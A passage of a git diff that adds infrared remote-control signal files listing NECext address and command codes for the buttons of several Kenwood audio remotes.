+name: KEY_STOP +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 11 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 13 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 14 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 15 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 16 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 17 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 1A 00 00 00 +# +name: check +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 1B 00 00 00 +# +name: p.mode +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 1F 00 00 00 +# +name: KEY_SPACE +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 42 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 43 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 48 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 49 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4A 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4F 00 00 00 +# +name: peak_search +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 8D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 91 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0400/182,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0400/182,-1.ir new file mode 100644 index 000000000..82c8f3def --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0400/182,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 09 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 0A 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 11 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 13 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 13 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 14 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 15 00 00 00 +# +name: SEARCH_REV +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 16 00 00 00 +# +name: SEARCH_FWD +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 17 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4D 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 51 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 52 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 53 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 54 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 55 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P070/182,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P070/182,-1.ir new file mode 100644 index 000000000..8dfb16301 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P070/182,-1.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 09 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 0A 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 10 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 11 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 13 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 14 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 15 00 00 00 +# +name: SKIP_BACK +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 16 00 00 00 +# +name: SKIP_FWD +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 17 00 00 00 +# +name: TIME_DISPLAY +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 18 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 19 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 1A 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 1B 00 00 00 +# +name: INDEX_BACK +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 1C 00 00 00 +# +name: INDEX_FWD +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 1D 00 00 00 +# +name: KEY_SPACE +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 42 00 00 00 +# +name: REPEAT_A-B +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 43 00 00 00 +# +name: TRACK +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 44 00 00 00 +# +name: PGM +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 45 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 46 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 48 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 49 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4A 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 80 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 81 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 82 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 83 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 84 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 85 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 86 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 87 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 88 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 89 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 8A 00 00 00 +# +name: DISPLAY_MODE +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 8C 00 00 00 +# +name: PEAK_SEARCH +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 8D 00 00 00 +# +name: DISC_FILE +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 8F 00 00 00 +# +name: ERASE +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 90 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 91 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0702/182,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0702/182,-1.ir new file mode 100644 index 000000000..fc39684f0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0702/182,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 09 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 0A 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 10 00 00 00 +# +name: __ +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 11 00 00 00 +# +name: >/|| +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 13 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 14 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 15 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 16 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 17 00 00 00 +# +name: TIME_DISP. +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 18 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 19 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 1A 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 1B 00 00 00 +# +name: P.MODE +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 1F 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4F 00 00 00 +# +name: KEY_P +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 50 00 00 00 +# +name: DISC_SELECTOR-1 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 51 00 00 00 +# +name: DISC_SELECTOR-2 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 52 00 00 00 +# +name: DISC_SELECTOR-3 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 53 00 00 00 +# +name: DISC_SELECTOR-4 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 54 00 00 00 +# +name: DISC_SELECTOR-5 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 55 00 00 00 +# +name: DISC_SELECTOR-6 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0715/182,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0715/182,-1.ir new file mode 100644 index 000000000..b56f49449 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0715/182,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 09 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 0A 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 11 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 13 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 14 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 15 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 16 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 17 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 18 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 19 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 1A 00 00 00 +# +name: Check +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 1B 00 00 00 +# +name: PMode +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 1F 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 48 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 49 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4A 00 00 00 +# +name: Random +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P2030/182,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P2030/182,-1.ir new file mode 100644 index 000000000..d6230401d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P2030/182,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 0A 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 11 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 13 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 14 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 15 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 16 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 17 00 00 00 +# +name: time_display +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 18 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 19 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 1A 00 00 00 +# +name: check +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 1B 00 00 00 +# +name: p-mode +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 1F 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 48 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 49 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P600/182,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P600/182,-1.ir new file mode 100644 index 000000000..565651d06 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P600/182,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 09 00 00 00 +# +name: X_KEY_0+ +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 0A 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 11 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 13 00 00 00 +# +name: RW +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 16 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 17 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 19 00 00 00 +# +name: P.MODE +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 1F 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 48 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 49 00 00 00 +# +name: DSP +type: parsed +protocol: NECext +address: B6 00 00 00 +command: C1 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-R0311E/44,44.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-R0311E/44,44.ir new file mode 100644 index 000000000..6540c1b90 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-R0311E/44,44.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 03 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 04 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 05 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 06 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 07 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 09 00 00 00 +# +name: preset- +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 12 00 00 00 +# +name: preset+ +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 16 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 17 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 1E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 1F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 41 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 42 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 43 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 44 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 45 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 46 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 47 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 48 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 49 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 4B 00 00 00 +# +name: pmode +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 4D 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 4E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 4F 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 59 00 00 00 +# +name: rds +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 60 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 9A 00 00 00 +# +name: listen-mode +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: A1 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: A3 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: A4 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: A5 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: A6 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: A7 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: A8 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: A9 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: AA 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: AC 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: AD 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: AE 00 00 00 +# +name: top-menu +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: AF 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: B0 00 00 00 +# +name: slow- +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: B1 00 00 00 +# +name: slow+ +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: B2 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: B3 00 00 00 +# +name: marker +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: B4 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: C2 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-RO503/184,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-RO503/184,-1.ir new file mode 100644 index 000000000..d8a6e9076 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-RO503/184,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: DISC +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 08 00 00 00 +# +name: BAND___TUNER +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 8F 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 90 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 91 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 92 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 93 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 94 00 00 00 +# +name: TAPE_2_(_MONITOR_) +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 95 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 96 00 00 00 +# +name: P.CALL +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 99 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9D 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C9 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CB 00 00 00 +# +name: SKIP_REV +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CE 00 00 00 +# +name: SKIP_FWD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CF 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D0 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D1 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D2 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D3 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D5 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D8 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D9 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DA 00 00 00 +# +name: 